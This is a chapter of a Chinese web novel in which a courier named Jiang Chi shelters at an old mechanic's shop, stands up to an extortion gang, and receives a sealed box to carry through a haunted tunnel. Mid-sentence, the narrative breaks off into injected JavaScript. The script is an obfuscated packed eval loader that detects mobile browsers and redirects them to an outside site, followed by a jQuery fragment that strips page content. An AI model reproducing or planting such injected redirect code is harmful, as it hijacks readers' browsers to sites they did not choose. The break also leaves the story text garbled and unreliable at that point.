后院不大，一圈围墙，铁门带三道锁。
老周把门打开，让她把车倒进去，然后他一道一道上锁，最后从工具箱里摸出一个铜铃铛，挂在门梁上。
“这铃铛响，就是有人翻墙。”他说，“我耳朵好，听得见。”
姜迟跳下车，跟着老周进了修理铺后间。后间是个小厨房，案板上切着菜，锅里咕嘟咕嘟炖着东西，一股肉香。
“你车上有货。”老周往锅里撒了把盐，“我听见了。”
“八个人。”姜迟说，“东岭上的车，送去哪不知道，收货地没解锁。”
老周的手停了。
他转过身，把灶上的火关小了，盯着姜迟看了半天。
“人单。”他说，“你第二天就敢接人单。”
“单派下来的，不是我抢的。”
“我知道。”老周从锅里舀了碗汤，递给她，“人单的规矩，你知道几条？”
“名单之外不许上车。”
“那是面上的。”老周自己盛了碗，坐下来，“里子的规矩是，人货不能在站上过夜。”
“为什么？”
“人会生根。”老周吹了吹汤，“这站是活的，人货停久了，根就扎进站里了。扎了根，你的货就不是你的了，站里什么东西都能来咬一口。咬一口，少一个。明天你发车的时候数数，八个人变七个，你还不能报货损，报了就说明你夜里没看住。”
姜迟端着碗，没喝。
“那我现在就走？”
“现在走不了。”老周朝前头努努嘴，“外头那三个，还没死心呢。你现在出去，他们会跟着你上路。上了路，就没有不许动手这条规矩了。”
话音刚落，前头传来一阵响动。
不是铃铛响，是有人在砸修理铺的门。砸得震天响，还有吆喝声。
“老周！出来！你家修理铺压了我们兄弟的东西，出来说道说道！”
老周慢条斯理地喝完汤，把碗放下，擦了擦手。
“来了。”他站起身，“丫头，你在后间待着，别出声。”
姜迟没待着。她跟着老周走到前间，站在门后头。老周看了她一眼，没赶她，拉开了门。
门外站着五个人。光头领着，多出来的两个一胖一瘦，胖的脖子上挂着条链子，比陈三金的粗，瘦的没说话，抱着胳膊站在最后。
“老周。”光头开门见山，“刚才你那院里停的货车，撞了我兄弟。”
“什么时候？”
“就刚才！”光头把身后的矮壮男人拽出来，矮壮的胳膊上缠着一圈布，布上洇着红，“你那院里的车，自己动了，把我兄弟撞了。这事你说怎么办吧。”
姜迟心里一惊。她的车停在后院，钥匙在她兜里，怎么会动。
“车自己会动？”老周笑了，“你编也编个像样的。”
“爱信不信。”光头往门框上一靠，“两个办法。一，赔积分，三十个。二，车留下，当抵押。”
“我要是不赔呢？”
“不赔？”光头脸上的横肉抖了抖，“老周，你保得住她一夜，保得住她一世？她总得出去跑单。路上车来车往，出个事故多正常。”
这是明着威胁了。
姜迟从门后走出来：“我的车没动。你们想碰瓷，换个地方。”
“哟，正主出来了。”光头看见她，眼睛一亮，“妹子，车会动不会动，咱不看说，看证据。我兄弟这伤，就是证据。”
“证据可以造。”姜迟说，“伤口谁都能割。我要看看伤，真撞的伤和割的伤，我分得出来。”
矮壮的下意识往后缩了缩。
“看什么看！”光头往前一挡，“你算什么东西？”
“她算我的客人。”老周开口了。
他往前迈了一步，就一步，光头的脸色变了变。
“修理铺的规矩。”老周的声音不高，“在我铺子里，在我院子里，在我门口这条街上，谁动我的客人，谁留一样东西。东西没有贵贱，一双手也行，一条舌头也行，你挑。”
光头盯着他：“老周，你为个新人，跟我们黑车队翻脸？”
“不是翻脸。”老周说，“是规矩。你爹当年在这修车的时候，也守这个规矩。你要不要回去问问你爹，修理铺的规矩是什么。”
光头脸上的横肉抽了几下。他身后的瘦高个凑上来，在他耳边说了句什么。光头咬了咬牙，往后退了一步。
“行。”他说，“老周，今天给你面子。但是老规矩不能坏，客人在你的地盘，你保。出了这条街，跟我们没关系。”
“滚吧。”
光头五个人走了，走出十几米，那个瘦高个回头看了姜迟一眼，目光在她的车牌上停了两秒，才跟上去。
门关上了，老周插上门闩。
“他们不认人，认车。”他说，“你车牌他们记下了，上了路，你留神点。”
“谢谢您。”姜迟说，“又给您添麻烦了。”
“麻烦谈不上。”老周重新坐下来，“不过有句话你说得对，我总不能保你一辈子。你得自己立起来。”
他顿了顿。
“丫头，你欠我个东西。”
“您说。”
“修理铺的规矩，保人不是白保的。”老周看着她，“我保你一夜，你替我跑一单顺路货。这单不白跑，跑完了，你在这站里就有个照应了。以后黑车队再找事，你可以报我的号。”
“什么货？送到哪？”
老周站起来，进了里屋，翻箱倒柜一阵子，抱出来一个东西。
一个木盒子，长条形，一拃宽，用油布包着，拿麻绳捆了三道。看着有些年头了，油布都磨得发亮。
“送到青岭七号仓。”老周说，“看仓的那个老头认识我，你交给他，他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17947443|214093||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
给你回执。回执拿回来，咱俩两清。”
姜迟的手停在半空。
“青岭七号仓？”她说，“那地方烧了。”
“仓烧了，人没烧死。”老周说，“看仓的老头，你没见着？”
“见着了。”
“那就行。”老周把盒子放在桌上，“后半夜走，人少。从站东头的老闸口出去，那条路直通青岭，近四十公里。天亮前能到。”
姜迟盯着那个油布盒子，没动。
“大爷，我能问一句吗。”她说，“这盒子里是什么？”
“不知道。”老周说，“也不许问。这条路上的货，问就是犯忌讳。你面单上写什么，就是什么。”
他拿过姜迟的黑皮本子，翻开，指头在证件页上一按。姜迟看见那页的纸面上浮出一行字，像从纸底下渗上来的：
【新订单：顺路货一件】
【货物：长条形木盒（禁止查看）】
【装货地：第一收费站修理铺】
【收货地：青岭七号仓】
【限时：无】
【备注：走青岭隧道，别走新路。】
姜迟盯着备注栏。
青岭隧道。
她想起自己的第二单还没送完，车上还有八个人，收货地到现在都没解锁。
“大爷。”她说，“青岭隧道，那是什么地方？”
老周正在捆盒子，闻言手停了停。
“老隧道。”他说，“新路修通之前就一条道，从山肚子里穿过去。后来新路通车，隧道就封了，封了有年头了。”
“为什么封？”
“出过事。”老周把麻绳最后一道打好结，抬起头，“十几二十年前吧，一辆货车在隧道里翻了，烧起来的。车上两个人，一个都没出来。”
他把盒子推到姜迟面前。
“从那以后，隧道里就不太平。跑这条路的都知道，晚上过青岭隧道，灯不能开，喇叭不能按，有人敲窗不能回头。”
姜迟看着他：“烧死的那两个人，是谁？”
修理铺里静了几秒。
锅里的汤还在咕嘟咕嘟地响，前间挂着的钟表滴答滴答地走。
“送货的。”老周最后说，“一个司机，一个押车的。姓姜。”
姜迟坐在那，半天没说话。
“我知道你要问什么。”老周把盒子用一块旧帆布裹上，塞进她怀里，“不是你想的那样，但也不是跟你没关系。具体怎么回事，我说了不算，得你自己去看。”
他站起身，把后间的灯调暗了一档。
“眯一会儿吧，后半夜我叫你。”他说，“青岭隧道那条线，白天走新路，晚上走老路。晚上的老路，才是路。记着备注上的话，别走新路。”
姜迟抱着那个盒子，坐在昏黄的灯下。
盒子不重，可她抱着它，像抱着一块烧红的炭。